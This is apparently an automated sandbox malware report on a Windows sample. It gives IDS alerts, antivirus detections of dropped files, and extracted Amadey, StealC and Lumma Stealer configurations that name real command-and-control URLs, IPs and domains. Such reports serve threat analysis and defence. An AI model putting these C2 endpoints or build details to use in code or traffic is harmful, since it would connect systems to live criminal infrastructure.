2024-10-30T05:26:16.773879+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50089	188.114.96.3	443	TCP
2024-10-30T05:26:17.905087+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50090	188.114.96.3	443	TCP
2024-10-30T05:26:19.197250+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.6	50092	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:24:20.819440+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49760	185.215.113.16	80	TCP
2024-10-30T05:25:34.211715+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50008	185.215.113.16	80	TCP
2024-10-30T05:25:38.408112+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50012	185.215.113.16	80	TCP
2024-10-30T05:25:54.400021+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50044	185.215.113.16	80	TCP
2024-10-30T05:26:20.803671+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50094	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:25:19.747869+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49996	185.215.113.43	80	TCP
2024-10-30T05:25:29.589148+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50003	185.215.113.43	80	TCP
2024-10-30T05:25:37.239095+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50011	185.215.113.43	80	TCP
2024-10-30T05:25:46.274208+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50029	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:24:06.536510+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	60191	1.1.1.1	53	UDP
2024-10-30T05:25:17.713121+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	58724	1.1.1.1	53	UDP
2024-10-30T05:25:34.127082+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	54014	1.1.1.1	53	UDP
2024-10-30T05:26:10.039463+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	59530	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:24:06.547203+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	63856	1.1.1.1	53	UDP
2024-10-30T05:25:17.725026+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	53810	1.1.1.1	53	UDP
2024-10-30T05:25:34.138467+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	62377	1.1.1.1	53	UDP
2024-10-30T05:26:10.054018+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	51068	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:24:06.569303+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.6	57186	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:24:06.521926+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	62598	1.1.1.1	53	UDP
2024-10-30T05:25:17.699486+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	58432	1.1.1.1	53	UDP
2024-10-30T05:25:34.112088+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	51693	1.1.1.1	53	UDP
2024-10-30T05:26:09.968129+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	63441	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:24:06.558598+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	57079	1.1.1.1	53	UDP
2024-10-30T05:25:17.738167+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	60114	1.1.1.1	53	UDP
2024-10-30T05:25:34.148737+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	64260	1.1.1.1	53	UDP
2024-10-30T05:26:10.066469+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	63887	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:24:10.483695+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49712	188.114.96.3	443	TCP
2024-10-30T05:25:28.349080+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50002	188.114.96.3	443	TCP
2024-10-30T05:26:18.539798+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50090	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:25:30.483877+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50005	185.215.113.206	80	TCP
2024-10-30T05:25:45.291467+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50027	185.215.113.206	80	TCP
2024-10-30T05:25:55.394674+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50045	185.215.113.206	80	TCP
2024-10-30T05:26:03.663125+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50049	185.215.113.206	80	TCP
2024-10-30T05:26:19.959219+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50093	185.215.113.206	80	TCP
2024-10-30T05:26:37.372127+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50125	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:25:06.387363+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49991	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:25:18.797156+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49992	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:25:09.795195+0100	2803305	3	Unknown Traffic	192.168.2.6	49993	185.215.113.16	80	TCP
2024-10-30T05:25:20.673810+0100	2803305	3	Unknown Traffic	192.168.2.6	49997	185.215.113.16	80	TCP
2024-10-30T05:25:30.514487+0100	2803305	3	Unknown Traffic	192.168.2.6	50006	185.215.113.16	80	TCP
2024-10-30T05:25:38.408112+0100	2803305	3	Unknown Traffic	192.168.2.6	50012	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T05:24:16.264710+0100	2843864	1	A Network Trojan was detected	192.168.2.6	49732	188.114.96.3	443	TCP
2024-10-30T05:25:29.924094+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50004	188.114.96.3	443	TCP
2024-10-30T05:25:51.785732+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50040	188.114.96.3	443	TCP
2024-10-30T05:26:18.539798+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50090	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000004.00000003.2386839542.0000000005390000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 32.2.num.exe.bf0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 58ce8f976c.exe.6068.10.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["presticitpo.store", "fadehairucw.store", "thumbystriw.store", "crisiwarny.store", "founpiuer.store", "navygenerayk.store", "necklacedmny.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 47%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50117 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 7451ae0b11.exe, 0000000B.00000003.2960373733.0000000004BCB000.00000004.00001000.00020000.00000000.sdmp, 7451ae0b11.exe, 0000000B.00000002.3001129617.000000000016C000.00000040.00000001.01000000.0000000E.sdmp, num.exe, 00000025.00000000.3281198847.0000000000C1C000.00000008.00000001.01000000.0000001A.sdmp
Source:	Binary string: my_library.pdb source: 7451ae0b11.exe, 0000000B.00000003.2960373733.0000000004BCB000.00000004.00001000.00020000.00000000.sdmp, 7451ae0b11.exe, 0000000B.00000002.3001129617.000000000016C000.00000040.00000001.01000000.0000000E.sdmp, num.exe, 00000025.00000000.3281198847.0000000000C1C000.00000008.00000001.01000000.0000001A.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 7YW0363WEKP7ULOI0QRA.exe, 00000003.00000002.2506913833.0000000000B12000.00000040.00000001.01000000.00000006.sdmp, 7YW0363WEKP7ULOI0QRA.exe, 00000003.00000003.2373622075.0000000005130000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Directory queried: number of queries: 1403

Source: firefox.exe

Memory has grown: Private usage: 0MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.6:57186 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:57079 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:60191 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:63856 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:62598 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49713 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49715 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49712 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49721 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49754 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49991 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:58724 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:53810 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:58432 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49994 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49992
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:60114 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49998 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49996 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50000 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50001 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50002 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50003 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50004 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50005 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50007 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:54014 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:62377 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:51693 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:64260 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50009 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50011 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50013 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50016 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50010 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50021 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50027 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50029 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50031 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50040 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50045 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:49999 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50049 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:63441 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50083 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:59530 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:51068 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50087 -> 188.114.96.3:443
